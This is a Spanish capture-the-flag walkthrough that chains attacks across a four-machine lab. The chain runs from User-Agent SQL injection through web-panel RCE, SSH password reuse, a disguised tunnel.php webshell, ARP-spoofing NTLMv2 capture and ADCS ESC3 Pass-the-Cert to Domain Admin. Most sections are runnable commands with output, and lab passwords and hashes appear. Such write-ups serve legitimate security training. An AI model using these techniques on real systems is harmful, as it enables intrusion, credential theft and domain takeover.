CyberGuard
Máquina: The Hackers Labs — CyberGuard (laboratorio de 4 máquinas + firewall) Sistemas operativos objetivo: OPNsense (firewall) · Debian 12 (WebApp, Laravel 11) · Debian 12 (Internal) · Windows Server 2016 (Controlador de Dominio cyberguard.thl) Vector de entrada: SQL Injection ciega/basada-en-error en la cabecera HTTP User-Agent (endpoint /search) → robo del hash del administrador → login en el panel Open Admin → RCE como www-data Escalada de privilegios (cadena completa): www-data → ian (reutilización de contraseña del .env por SSH) → captura de NTLMv2 por MiTM con arpspoof → usuario de dominio victor.garcia → RDP al DC → contraseña de francisca.gonzalez incrustada en un .exe → ADCS ESC3 (Enrollment Agent → certificado en nombre de Administrador) → Pass-the-Cert por Schannel/LDAPS → Domain Admin Herramientas principales: VBoxManage · nmap/barrido bash · curl · sqlmap (o inyección manual extractvalue) · john/hashcat · sshpass · Neo-reGeorg (túnel SOCKS por HTTP) · proxychains4 · netexec (nxc) · impacket · bloodhound-python · arpspoof + tcpdump + tshark · xfreerdp (+ Xvfb/xdotool) · certipy-ad — detalle de cada una, con qué hace y qué opciones se usan, en la sección Herramientas necesarias más abajo
Resumen de flags
| Flag | Valor | Dónde |
|---|---|---|
Usuario (user.txt) |
████████████ |
/home/ian/user.txt (WebApp) |
Root (root.txt) |
████████████ |
C:\Users\Administrador\Documents\root.txt (DC) |
Nota sobre las IPs: el laboratorio usa una red interna de VirtualBox (
intnet,10.20.30.0/24) detrás del firewall OPNsense. Tu Kali llega solo a la “cara externa” del firewall por la red host-onlyvboxnet1(10.0.2.0/24), donde la web publicada escyberguard.thl → 10.0.2.10. Las IPs internas (10.20.30.3DC,10.20.30.11WebApp,10.20.30.15Internal) las descubrimos desde dentro; si repites, confírmalas tú mismo — VirtualBox/DHCP pueden reasignar.
Glosario rápido (consulta mientras lees)
| Término | Qué significa |
|---|---|
| DMZ | Zona desmilitarizada: segmento de red donde se colocan los servicios expuestos (aquí la WebApp), aislado del resto por el firewall |
| SQLi (SQL injection) | Inyectar SQL propio a través de una entrada que la app no valida, para leer/modificar la base de datos. Aquí la entrada vulnerable es la cabecera User-Agent, no un campo del formulario |
| Error-based SQLi | Variante de SQLi en la que se provoca un error de la base de datos cuyo mensaje contiene el dato que queremos leer. Aquí se usa extractvalue() de MariaDB, que devuelve el dato dentro de un mensaje “XPATH syntax error: ~<dato>” |
Ignition / APP_DEBUG=true |
Laravel, en modo debug, muestra páginas de error detalladas (stack traces) que filtran consultas SQL, rutas y a veces secretos. Un fallo de configuración grave en producción |
| RCE (Remote Code Execution) | Ejecución de comandos del sistema operativo de forma remota — el “premio gordo” |
.env |
Archivo de configuración de Laravel con credenciales de base de datos, claves de la app (APP_KEY), etc. Si se puede leer, suele dar el siguiente salto |
| Pivote / pivoting | Usar una máquina ya comprometida como “trampolín” para alcanzar otras redes/hosts que desde tu Kali no ves directamente |
| Túnel SOCKS | Un proxy que reenvía conexiones TCP arbitrarias a través de otra máquina. Neo-reGeorg lo monta sobre HTTP (usando solo el puerto 80 de la web, lo único que atravesamos) |
| MiTM (Man-in-the-Middle) | Colocarse “en medio” de dos máquinas para ver/alterar su tráfico. Aquí con ARP spoofing |
| ARP spoofing | Engañar a dos hosts de la misma red local enviándoles respuestas ARP falsas (“la IP X está en MI dirección MAC”), de modo que su tráfico pase por nosotros |
| NTLMv2 | Protocolo de autenticación de Windows (reto-respuesta). Si capturas el intercambio, obtienes un hash NetNTLMv2 que se puede intentar crackear offline para recuperar la contraseña |
| Kerberoasting / AS-REP roasting | Técnicas para pedir material criptográfico de cuentas de dominio y crackearlo offline. Aquí no aplicaron (lo comprobamos), pero conviene conocerlas |
| BloodHound | Herramienta que mapea relaciones y permisos (ACLs) de un dominio AD en un grafo, para encontrar caminos de escalada |
| ADCS (Active Directory Certificate Services) | La PKI (infraestructura de clave pública) de Windows. Emite certificados según plantillas. Mal configuradas, permiten escalar a Domain Admin (familias ESC1..ESC16) |
| Enrollment Agent (agente de inscripción) | Un certificado especial (EKU Certificate Request Agent) que permite solicitar certificados EN NOMBRE DE otros usuarios |
| ESC3 | Fallo de ADCS: existe una plantilla que da un cert de Enrollment Agent y otra plantilla de autenticación que acepta la firma de ese agente. Encadenándolas puedes pedir un certificado como Administrador |
| PKINIT | Autenticación Kerberos usando un certificado en lugar de contraseña. Si el KDC no la soporta (nuestro caso), se usa la alternativa Schannel/LDAPS |
| Pass-the-Cert (Schannel) | Autenticarte a LDAPS con un certificado de cliente. Si el cert es de un Domain Admin, puedes hacer cambios en el dominio (p. ej. añadir un usuario a “Domain Admins”) |
sudoers / NOPASSWD |
/etc/sudoers define qué puede ejecutar cada usuario como root. NOPASSWD = sin pedir contraseña |
| GTFOBins | Catálogo (gtfobins.github.io) de binarios que, con sudo/SUID, se pueden abusar para escalar. Aquí tcpdump parecía vulnerable pero estaba mitigado con AppArmor (lo documentamos) |
| AppArmor | Sistema de control de acceso obligatorio de Linux que restringe qué puede hacer un binario, aunque corra como root. Aquí bloquea el truco de privesc de tcpdump |
Herramientas necesarias
Todo viene en Kali; solo hay que verificar/instalar algún extra. Qué es cada una:
# Extras que quizá haya que instalar/clonar:
sudo apt-get install -y xdotool xvfb # teclado virtual + display sin pantalla, para RDP headless
pipx install certipy-ad # (o apt install certipy-ad) — ataque a ADCS
git clone https://github.com/L-codes/Neo-reGeorg # túnel SOCKS sobre HTTP| Herramienta | Para qué sirve aquí |
|---|---|
VBoxManage |
CLI de VirtualBox: importar los .ova, arrancar/apagar las VMs, ver su config de red |
nmap / barrido con bash /dev/tcp |
Escaneo de puertos. Dentro del entorno usamos barridos con bash porque las máquinas internas no tienen nmap |
curl |
Cliente HTTP de línea de comandos: hablar con la web, mandar cabeceras (-A para el User-Agent), cookies, POSTs |
sqlmap |
Automatiza la detección y explotación de SQLi. Se puede sustituir por inyección manual (lo mostramos) |
john / hashcat |
Crackeo de hashes offline. john en CPU (aquí sin GPU/OpenCL); hashcat si tienes GPU |
sshpass |
Pasar una contraseña SSH de forma no interactiva (solo laboratorio) |
Neo-reGeorg (neoreg.py) |
Sube un tunnel.php a la web comprometida y monta un proxy SOCKS a través del puerto 80 — así llegas a la red interna sin necesitar egress |
proxychains4 |
“Envuelve” cualquier herramienta para que su tráfico salga por el SOCKS anterior |
netexec (nxc) |
Navaja suiza de AD/SMB: valida credenciales, lista shares, usuarios, política de contraseñas, etc. |
impacket-* |
Colección de scripts Python de protocolos Windows (GetUserSPNs, GetNPUsers, secretsdump…) |
bloodhound-python |
Recolecta datos del dominio (usuarios, grupos, ACLs) para analizar caminos de escalada |
arpspoof (paquete dsniff) |
Realiza el ARP spoofing para el MiTM |
tcpdump |
Captura tráfico de red a un .pcap |
tshark |
Versión CLI de Wireshark: extrae campos concretos del .pcap (aquí, los del NTLMv2) |
xfreerdp (FreeRDP) |
Cliente RDP para conectarnos gráficamente al DC como victor.garcia |
Xvfb + xdotool |
X virtual framebuffer (pantalla sin monitor) y automatización de teclado/ratón — para manejar el RDP en un servidor sin escritorio |
certipy-ad |
Herramienta de referencia para atacar ADCS (enumerar plantillas vulnerables, ESC1-ESC16, pedir certificados, autenticar) |
strings / objdump |
Analizar el binario NetStatus.exe para sacarle la contraseña incrustada |
Fase 0 — Montar el laboratorio (las 4 máquinas)
CyberGuard son 4 archivos .ova (uno por máquina). Un .ova es un paquete que contiene la definición de una VM más su disco. Se importan a VirtualBox una sola vez; después se arrancan/apagan.
cd "~/labs/CyberGuard/"
ls -la *.ova
# TheHackersLabs 1 - Cyberguard.ova (Windows DC, ~5 GB)
# The Hackers Labs 2 - Cyberguard.ova (WebApp Debian)
# The Hackers Labs 3 - Cyberguard.ova (Internal Debian)
# TheHackersLabs 4 - Cyberguard.ova (grande)
# Importar cada OVA (solo la primera vez). Si ya aparecen en 'VBoxManage list vms', sáltate esto.
for o in *.ova; do VBoxManage import "$o"; doneTras importar, las VMs quedan registradas con estos nombres (compruébalo con VBoxManage list vms):
"CyberGuard-1-OPNsense" -> firewall (2048 MB)
"CyberGuard-2-WebApp" -> web Laravel, Debian 12 (1024 MB)
"CyberGuard-3-Internal" -> Debian 12 interno (512 MB)
"CyberGuard-4-DC" -> Windows Server 2016, dominio cyberguard.thl (4096 MB)
Cómo está cableada la red (esto es la clave para entender por qué hay que pivotar):
Tu Kali (10.0.2.1) RED INTERNA "intnet" (10.20.30.0/24)
│ red host-only vboxnet1 (10.0.2.0/24) ┌───────────────────────────────┐
│ │ WebApp 10.20.30.11 (DMZ) │
▼ │ Internal 10.20.30.15 │
┌───────────────┐ WAN=vboxnet1 (10.0.2.10) LAN=intnet │ DC 10.20.30.3 │
│ OPNsense │─────────────────────────────(10.20.30.1)───┤ │
│ (firewall) │ NAT/port-forward 80 → WebApp:80 └───────────────────────────────┘
└───────────────┘
- La única puerta desde tu Kali es el puerto 80 de
cyberguard.thl(10.0.2.10), que el OPNsense reenvía a la WebApp interna (10.20.30.11:80). El resto de puertos (SSH interno, 445, 3389, LDAP…) está filtrado hacia fuera — por eso todo el ataque a partir de la web se hace pivotando. - Todas las NICs internas cuelgan de la MISMA red interna de VirtualBox llamada
intnet, así que WebApp, Internal y DC están en el mismo segmento de capa 2 (importante para el ARP spoofing).
Arrancar las 4 (headless = sin ventana). Enciende primero el firewall, luego el resto:
for vm in CyberGuard-1-OPNsense CyberGuard-2-WebApp CyberGuard-3-Internal CyberGuard-4-DC; do
VBoxManage startvm "$vm" --type headless
done
VBoxManage list runningvms # deben aparecer las 4En tu Kali, mapea el nombre del sitio (así lo espera la app en la cabecera Host):
grep -q cyberguard.thl /etc/hosts || echo "10.0.2.10 cyberguard.thl" | sudo tee -a /etc/hostsComprueba conectividad (el ICMP lo bloquea el firewall, es normal; lo que importa es el 80):
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://cyberguard.thl/ # 403 (raíz protegida)
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://cyberguard.thl/admin # 200/302 (panel)Fase 1 — Reconocimiento de la web
La aplicación es Laravel 11 con el panel de administración Open Admin. La raíz (/) devuelve 403, pero hay dos rutas interesantes:
/admin→ panel de login del administrador./search?query=...→ un buscador. Aquí está la SQLi, pero no en el parámetroquery, sino en la cabeceraUser-Agent.
¿Por qué el User-Agent? Porque la app mantiene una lista negra de user-agents y, en cada petición a /search, ejecuta internamente una consulta como esta (la vimos gracias al modo debug de Laravel, ver abajo):
SELECT * FROM blacklist_user_agents WHERE '<User-Agent>' LIKE CONCAT('%', user_agent, '%')El valor del User-Agent se mete entre comillas simples sin sanear → inyectable.
Fase 2 — SQL Injection en el User-Agent y robo del hash
Paso 1 — Confirmar la inyección. Mandamos un User-Agent con una comilla simple y observamos si “rompe” la consulta. Con curl, la opción -A fija el User-Agent:
# Petición normal (referencia):
curl -s -A "Mozilla/5.0" "http://cyberguard.thl/search?query=x" -o /dev/null -w "%{http_code}\n"
# Con una comilla simple al final del User-Agent:
curl -s -A "Mozilla/5.0'" "http://cyberguard.thl/search?query=x" | headCon la comilla, el servidor devuelve un HTTP 500 con una página gigante de error de Laravel (Ignition). Eso confirma dos cosas: (1) es inyectable, y (2) APP_DEBUG=true — el modo depuración está activo y nos va a regalar el texto de los errores SQL. La página muestra literalmente:
SQLSTATE[42000]: Syntax error ... near '')' ...
SELECT * FROM blacklist_user_agents WHERE '$userAgent' LIKE CONCAT('%', user_agent, '%')
y que el motor es MariaDB.
Paso 2 — Extraer datos con inyección basada en error (extractvalue). Como Laravel nos enseña el mensaje de error, usamos extractvalue() de MariaDB: es una función que, si le pasas un XPath inválido, lanza un error XPATH syntax error: '<texto>' que incluye nuestro texto. Metemos una subconsulta como “texto” y su resultado sale en el error.
Función auxiliar en bash (rompemos la comilla, inyectamos, y comentamos el resto con -- -):
leak() { # $1 = subconsulta SQL
local ua="x' AND extractvalue(1,concat(0x7e,($1)))-- -"
curl -s -A "$ua" "http://cyberguard.thl/search?query=x" \
| grep -oiE 'XPATH syntax error: [^"<\\]{0,90}' | head -1
}
leak 'SELECT @@version' # 10.11.6-MariaDB
leak 'SELECT current_user()' # usuario de la BD
leak 'SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 1' # tablas (iterar con LIMIT)
0x7ees el byte~, solo un separador para reconocer nuestro dato en el mensaje.extractvaluecorta a 32 caracteres, así que para datos largos hay que trocearlos consubstring(...,1,32),substring(...,33,32), etc.
En la tabla admin_users está el administrador con su contraseña hasheada con bcrypt:
usuario: admin
hash: $2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK
Atajo con
sqlmap(hace lo mismo automáticamente): guarda una petición a/searchen un archivoreq.txtmarcando elUser-Agentcon un asterisco*y lanza:sqlmap -r req.txt --batch --dump -T admin_users -D cyberguard --level 5 --risk 3
Paso 3 — Crackear el bcrypt. bcrypt es lento a propósito (coste 12), pero si la contraseña es débil cae con rockyou. Con John:
echo '$2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK' > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=bcrypt hash.txt # admin : killerCredencial obtenida: admin : killer.
Fase 3 — Login en Open Admin y RCE como www-data
El panel Open Admin trae un módulo “Shell” en /admin/shell que ejecuta comandos del sistema — es RCE directo una vez dentro.
Login por línea de comandos (Laravel usa un token CSRF _token en el formulario y cookies de sesión):
J=jar.txt; UA="Mozilla/5.0 (X11; Linux x86_64) CG"
# 1) GET del login para sacar el _token y las cookies iniciales
TOK=$(curl -s -c $J -A "$UA" http://cyberguard.thl/admin/auth/login \
| grep -oE 'name="_token" value="[^"]+"' | head -1 | sed -E 's/.*value="([^"]+)".*/\1/')
# 2) POST de login con admin:killer
curl -s -b $J -c $J -A "$UA" -o /dev/null -w "login -> %{http_code}\n" \
-d "_token=$TOK" --data-urlencode "username=admin" --data-urlencode "password=killer" \
http://cyberguard.thl/admin/auth/login # 302 -> /admin = OK
# 3) GET de /admin/shell para un _token fresco del ejecutor
STOK=$(curl -s -b $J -c $J -A "$UA" http://cyberguard.thl/admin/shell \
| grep -oE 'name="_token" value="[^"]+"' | head -1 | sed -E 's/.*value="([^"]+)".*/\1/')Ahora un ayudante para ejecutar comandos (POST a /admin/shell/execute, la salida viene dentro de un <pre>):
run(){ curl -s -b $J -c $J -A "$UA" -d "_token=$STOK" --data-urlencode "command=$1" \
http://cyberguard.thl/admin/shell/execute \
| sed -n 's/.*<pre[^>]*>\(.*\)<\/pre>.*/\1/p'; }
run 'id; hostname; ip -brief addr'
# uid=33(www-data) ... TheHackersLabs-2-Cyberguard enp0s3 10.20.30.11/24Ojo con la sesión: la sesión del panel dura 2 h. Si
rundeja de devolver salida (te redirige al login), repite el bloque de login para renovarSTOK/cookies.
Tenemos RCE como www-data en la WebApp (10.20.30.11).
Fase 4 — Del .env a ian (SSH) y flag de usuario
Paso 1 — Leer el .env de Laravel (siempre el primer sitio a mirar):
run 'cat /var/www/cyberguard/.env'Lo interesante:
APP_KEY=base64:s2Xw6J78nmLrfCGF9S+8hBK7LNOMnaqPm908WE6UrEo=
DB_USERNAME=ian
DB_PASSWORD='ZqBHR4MZ<f*+bv(J'
Paso 2 — Reutilización de contraseña. Patrón clásico: la contraseña de la base de datos suele ser también la del usuario del sistema. Hay un usuario ian (ls -la /home → /home/ian, sin permiso de lectura para www-data). El SSH interno (puerto 22) no está reenviado a tu Kali, así que saltamos desde dentro: www-data hace SSH a [email protected].
Como el ejecutor web manda un comando de una sola línea y ssh normalmente pide la contraseña por terminal, usamos el truco SSH_ASKPASS de OpenSSH (le decimos que saque la contraseña de un script en vez de la terminal):
# Contraseña en base64 para no pelearnos con las comillas/caracteres raros:
PB=$(printf '%s' 'ZqBHR4MZ<f*+bv(J' | base64) # WnFCSFI0TVo8ZiorYnYoSg==
run 'P=$(echo '"$PB"' | base64 -d);
printf "#!/bin/sh\necho \"%s\"\n" "$P" > /tmp/.a; chmod +x /tmp/.a;
SSH_ASKPASS=/tmp/.a SSH_ASKPASS_REQUIRE=force setsid -w \
ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password \
-o PubkeyAuthentication=no [email protected] \
"id; hostname; cat ~/user.txt"; rm -f /tmp/.a'Salida:
uid=1000(ian) gid=1000(ian) grupos=1000(ian),33(www-data),100(users),1001(networking)
TheHackersLabs-2-Cyberguard
████████████ <-- FLAG DE USUARIO
A partir de aquí conviene envolver “ejecutar como
ian” en un ayudante (el mismo bloque de arriba cambiando el comando final). En el writeup lo llamamosrun_ian '...'.
FLAG USER: ████████████
Fase 5 — Enumerar la escalada local (y un callejón sin salida honesto)
ian está en un grupo interesante (networking) y tiene permisos sudo:
run_ian 'sudo -n -l'
# (ALL) NOPASSWD: /usr/bin/tcpdump, /usr/sbin/arpspoofCallejón sin salida (documentado a propósito): tcpdump con la opción -z ejecuta un script tras rotar el .pcap — es un privesc conocido de GTFOBins para pasar a root. Lo intentamos:
# NO FUNCIONA aquí:
run_ian 'echo "id>/tmp/p" > /tmp/pwn.sh; chmod +x /tmp/pwn.sh;
sudo -n tcpdump -i lo -w /tmp/x -G1 -W1 -z /tmp/pwn.sh -Z root'
run_ian 'cat /proc/sys/module/apparmor/parameters/enabled; ls /etc/apparmor.d/ | grep tcpdump'
# enabled=Y usr.bin.tcpdumpEl script nunca se ejecuta: hay un perfil de AppArmor (usr.bin.tcpdump) que impide a tcpdump lanzar procesos hijo, aunque corra como root. Es decir, el privesc local por tcpdump está mitigado a propósito. La pista real de sudo -l no es privesc local: es que ian puede hacer arpspoof + tcpdump → están pensados para un MiTM (Fase 8). Guárdalo.
Otro dato clave que sí sirve:
cat /proc/sys/net/ipv4/ip_forward→1. El reenvío de paquetes IP está activado, así que un MiTM desde esta máquina retransmite las conexiones y podremos capturar el intercambio NTLMv2 completo.
Fase 6 — Pivote de red: túnel SOCKS por HTTP (Neo-reGeorg)
Necesitamos alcanzar la red interna (10.20.30.0/24) con herramientas de Kali (nxc, certipy, xfreerdp…). Problema: el firewall bloquea toda salida de las máquinas internas hacia tu Kali (lo comprobamos intentando conexiones de vuelta a varios puertos: todas rechazadas), así que un shell/túnel inverso no funciona. Lo único que atravesamos es el puerto 80 entrante.
Solución: Neo-reGeorg, un túnel SOCKS que viaja dentro de peticiones HTTP al tunnel.php que subimos a la web (www-data puede escribir en el docroot).
# 1) Generar los ficheros de túnel con una clave:
git clone https://github.com/L-codes/Neo-reGeorg 2>/dev/null
python3 Neo-reGeorg/neoreg.py generate -k cg5878e4 # crea neoreg_servers/tunnel.php
# 2) Subir el tunnel.php al docroot con un nombre discreto (vía RCE):
B64=$(base64 -w0 Neo-reGeorg/neoreg_servers/tunnel.php)
run "echo $B64 | base64 -d > /var/www/cyberguard/public/media-sync.php"
# 3) Verificar desde Kali:
curl -s -o /dev/null -w "%{http_code}\n" http://cyberguard.thl/media-sync.php # 200
# 4) Arrancar el cliente: abre un SOCKS5 local en 127.0.0.1:1080
python3 -u Neo-reGeorg/neoreg.py -k cg5878e4 -u http://cyberguard.thl/media-sync.php -p 1080 &Configuración de proxychains (guárdala como pc.conf). tcp_read_time_out alto porque el túnel HTTP es lento:
strict_chain
proxy_dns
tcp_read_time_out 90000
tcp_connect_time_out 30000
[ProxyList]
socks5 127.0.0.1 1080
A partir de ahora, cualquier herramienta que quiera entrar a la red interna se lanza con proxychains4 -f pc.conf <herramienta>.
Fase 7 — Descubrir la red interna (DC + Internal)
Con las 4 VMs encendidas, barremos el /24 interno. Como las máquinas internas no tienen nmap, se hace con bash desde la WebApp; y desde Kali confirmamos servicios por el túnel.
# Descubrir hosts vivos (desde ian, poblando la tabla ARP):
run_ian 'for ip in $(seq 1 254); do ping -c1 -W1 10.20.30.$ip >/dev/null 2>&1 & done; wait;
ip neigh | grep -iE "REACHABLE|STALE"'
# 10.20.30.1 (gateway/OPNsense) · 10.20.30.3 · 10.20.30.15
# Escaneo de puertos de los dos nuevos:
run_ian 'for H in 10.20.30.3 10.20.30.15; do echo "== $H ==";
for p in 22 88 135 139 389 445 3389 5985; do
timeout 1 bash -c "echo >/dev/tcp/$H/$p" 2>/dev/null && echo " $p"; done; done'Resultado:
10.20.30.3= Controlador de Dominio Windows (88, 135, 139, 389, 445, 3389, 636, 3268…).10.20.30.15= Internal (Linux), solo SSH (22).
Enumeramos el DC por el túnel con netexec (nxc):
proxychains4 -f pc.conf nxc smb 10.20.30.3
# WIN-VRU3GG3DPLJ Windows Server 2016 domain:cyberguard.thl (signing:True, SMBv1:True, Null Auth:True)Dominio: cyberguard.thl, DC: WIN-VRU3GG3DPLJ. La sesión nula está permitida pero no lista shares/usuarios → necesitamos credenciales de dominio.
Fase 8 — MiTM con arpspoof + tcpdump → NTLMv2 de victor.garcia
La máquina Internal (.15) se autentica periódicamente contra el share \\10.20.30.3\reports del DC (lo hace un binario, ver Fase 9). Ese tráfico va directo .15 → .3 y en una red conmutada no lo vemos sin ponernos en medio. Aquí entran el arpspoof y tcpdump que ian puede usar con sudo.
# Envenenar ARP en ambos sentidos entre el DC y la Internal (y el gateway), y capturar SMB:
run_ian 'setsid timeout 150 sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.15 </dev/null >/dev/null 2>&1 &
setsid timeout 150 sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.1 </dev/null >/dev/null 2>&1 &
setsid timeout 150 sudo -n tcpdump -i enp0s3 -s0 -U -w /tmp/mitm.pcap \
port 445 or port 139 </dev/null >/dev/null 2>&1 &'arpspoof -r -t A B: le dice a A que “B está en mi MAC” y a B que “A está en mi MAC” (-r= ambos sentidos). Comoip_forward=1, retransmitimos y la conexión se completa (por eso capturamos el NTLMv2 entero).tcpdump -s0 -U -w file: captura paquetes completos (-s0), escribe sin buffer (-U).
Esperamos a que caiga una autenticación (~30-45 s) y traemos el .pcap a Kali (por ejemplo, en base64 vía el mismo canal). Extraemos el NTLMv2 con tshark:
# Reto del servidor (mensaje CHALLENGE):
CHAL=$(tshark -r mitm.pcap -Y 'ntlmssp.messagetype==2' -T fields -e ntlmssp.ntlmserverchallenge | head -1)
# Respuesta (mensaje AUTH): usuario, dominio, y la NT response:
tshark -r mitm.pcap -Y 'ntlmssp.messagetype==3' -T fields \
-e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.ntresponse | head -1
# -> victor.garcia CYBERGUARD.THL eb5a52d3...(NT response)Montamos el hash en formato NetNTLMv2 (hashcat -m 5600). La NT response = NTProofStr (primeros 16 bytes) + blob (el resto):
usuario::DOMINIO:reto:NTProofStr:blob
victor.garcia::CYBERGUARD.THL:3672d03602c2b559:████████████:0101000000000000c72a...
Y lo crackeamos (aquí sin GPU → John en CPU):
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt victor_ntlmv2.txt
john --show --format=netntlmv2 victor_ntlmv2.txt # victor.garcia : pachecoCredencial de dominio obtenida: CYBERGUARD.THL\victor.garcia : pacheco.
Validamos y enumeramos:
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco # [+] válido
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco --shares # reports (READ,WRITE)Fase 9 — Enumerar el dominio y sacar a francisca.gonzalez
BloodHound para ver caminos de escalada:
proxychains4 -f pc.conf bloodhound-python -u victor.garcia -p pacheco -d cyberguard.thl \
-ns 10.20.30.3 --dns-tcp -c DCOnlyDatos clave:
victor.garciaes miembro de “Usuarios de Escritorio Remoto” (Remote Desktop Users) → puede hacer RDP al DC.- Existe
francisca.gonzalez, que es quien puede inscribir en unas plantillas de certificado interesantes (Fase 10). No es Kerberoasteable ni AS-REP-roasteable (lo comprobamos conimpacket-GetUserSPNs/impacket-GetNPUsers), no reutiliza la contraseña deian/victor, y no tiene política de bloqueo (por si hubiera que hacer fuerza bruta):
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco --pass-pol
# Account Lockout Threshold: NoneRDP al DC como victor (en un servidor sin pantalla usamos Xvfb + xdotool):
Xvfb :99 -screen 0 1280x800x24 &
export DISPLAY=:99
xset r off # desactivar auto-repetición de teclas (evita caracteres duplicados en RDP)
proxychains4 -f pc.conf xfreerdp3 /v:10.20.30.3 /u:victor.garcia /d:cyberguard.thl \
/p:pacheco /cert:ignore /size:1280x800 +clipboard &
# (para ver la pantalla): import -window root shot.png
# (para escribir): abrir 'powershell' (Win+R) y pegar comandos; la salida se exfiltra
# escribiéndola al share \\10.20.30.3\reports\out.txt y leyéndolo desde Kali con smbclient.Notas prácticas del RDP headless (nos costaron tiempo, para que a ti no): el CredSSP intenta Kerberos y falla por DNS (
Cannot find KDC) pero cae a NTLM y entra igual; el teclado dexdotoolpierde/duplica caracteres, así que es más fiable pegar desde el portapapeles y usar el ratón para los botones; en Windows Server 2016 la consola pega con clic derecho, no con Ctrl+V; y el drive redirigido\\tsclientno funcionó, por eso exfiltramos por el sharereports(dondevictortiene escritura).
Enumerando el DC como victor aparecen carpetas no estándar en C:\: Shares, StorageReports y C:\tools\NetStatus.exe (un ejecutable propio). Lo copiamos al share reports, lo bajamos y lo analizamos:
strings -n 5 NetStatus.exe | grep -iE 'francisca|\.dll|CYBERGUARD|reports'
# \\10.20.30.3\reports
# CYBERGUARD.THL
# francisca.gonzalez
# latina1 <-- CONTRASEÑA incrustada
# WNetAddConnection2W (API de "net use" con credenciales)NetStatus.exe monta el share reports con WNetAddConnection2W usando CYBERGUARD.THL\francisca.gonzalez y la contraseña latina1 incrustada en el binario. Validamos:
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u francisca.gonzalez -p latina1 # [+] válidoCredencial obtenida: CYBERGUARD.THL\francisca.gonzalez : latina1.
Fase 10 — ADCS ESC3: certificado en nombre de Administrador
Enumeramos la PKI del dominio con certipy:
proxychains4 -f pc.conf certipy-ad find -u [email protected] -p latina1 \
-dc-ip 10.20.30.3 -ns 10.20.30.3 -dns-tcp -stdoutEncontramos:
- CA:
cyberguard-WIN-VRU3GG3DPLJ-CA. - Plantilla
UserCA: EKU = Certificate Request Agent (da un cert de Enrollment Agent). Inscripción permitida afrancisca.gonzalez. - Plantilla
UserCAn: EKU = Client Authentication (sirve para autenticarse), requiere 1 firma de un Enrollment Agent, y su SAN se toma del UPN. Inscripción permitida afrancisca.gonzalez.
Eso es ESC3 de manual: francisca pide el cert de agente con UserCA y, con él, pide un cert en nombre de Administrador con UserCAn.
Truco imprescindible por el túnel: el RPC de inscripción hace muchos viajes de ida y vuelta y por el túnel HTTP es lento → hay que subir el timeout con
-timeout 120, si no,certipyaborta con “NETBIOS connection timed out”.
# Paso 1 — cert de Enrollment Agent (plantilla UserCA):
proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \
-target-ip 10.20.30.3 -dc-ip 10.20.30.3 -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' \
-template UserCA -timeout 120 -out fran_ea # -> fran_ea.pfx
# Paso 2 — cert EN NOMBRE DE Administrador (plantilla UserCAn, firmado con el agente):
proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \
-target-ip 10.20.30.3 -dc-ip 10.20.30.3 -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' \
-template UserCAn -pfx fran_ea.pfx -on-behalf-of 'CYBERGUARD\Administrador' \
-timeout 120 -out administrador # -> administrador.pfxTenemos un certificado válido como [email protected].
Fase 11 — Pass-the-Cert (Schannel) → Domain Admin → flag root
Lo normal sería autenticarse con el cert por PKINIT (Kerberos con certificado) para sacar el hash NT de Administrador. Aquí el KDC no soporta PKINIT:
proxychains4 -f pc.conf certipy-ad auth -pfx administrador.pfx -dc-ip 10.20.30.3 -timeout 120
# [-] KDC_ERR_PADATA_TYPE_NOSUPP (el KDC no soporta autenticación por certificado)Plan B: usar el certificado por Schannel contra LDAPS (Pass-the-Cert). certipy abre un shell LDAP autenticado como Administrador; desde ahí añadimos a victor.garcia a “Domain Admins” (en este DC en español, el grupo se llama “Admins. del dominio”):
printf 'add_user_to_group victor.garcia "Admins. del dominio"\nexit\n' | \
proxychains4 -f pc.conf certipy-ad auth -pfx administrador.pfx -dc-ip 10.20.30.3 \
-ldap-shell -timeout 120
# [*] Authenticated to '10.20.30.3' as: 'u:CYBERGUARD\Administrador'
# Adding user: victor.garcia to group Admins. del dominio result: OKAhora victor.garcia es Domain Admin. Una nueva autenticación suya ya trae ese privilegio, así que leemos el root.txt por SMB (share administrativo C$):
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco # (Pwn3d! / acceso admin)
# El flag no está en el Escritorio, sino en Documentos:
proxychains4 -f pc.conf smbclient '//10.20.30.3/C$' -U 'cyberguard.thl/victor.garcia%pacheco' \
-c 'get Users\Administrador\Documents\root.txt root_flag.txt'
cat root_flag.txt # ████████████FLAG ROOT: ████████████
Diagrama-resumen de la cadena de ataque
[Kali] --HTTP:80--> cyberguard.thl (10.0.2.10) ─┐ (OPNsense NAT)
│
(1) SQLi en User-Agent /search (error-based, extractvalue, MariaDB)
└─> hash bcrypt de 'admin' ── john/rockyou ──> admin:killer
(2) Login Open Admin -> /admin/shell/execute => RCE www-data @ WebApp(10.20.30.11)
(3) .env -> ian:'ZqBHR4MZ<f*+bv(J' ── ssh [email protected] ──> ian [FLAG USER]
(tcpdump -z bloqueado por AppArmor; pero sudo arpspoof/tcpdump + ip_forward=1)
(4) Neo-reGeorg (tunnel.php) => SOCKS 127.0.0.1:1080 (egress bloqueado, todo por HTTP)
│
├── descubrir: DC=10.20.30.3 (cyberguard.thl) Internal=10.20.30.15
│
(5) arpspoof(.15<->.3) + tcpdump => NTLMv2 de victor.garcia
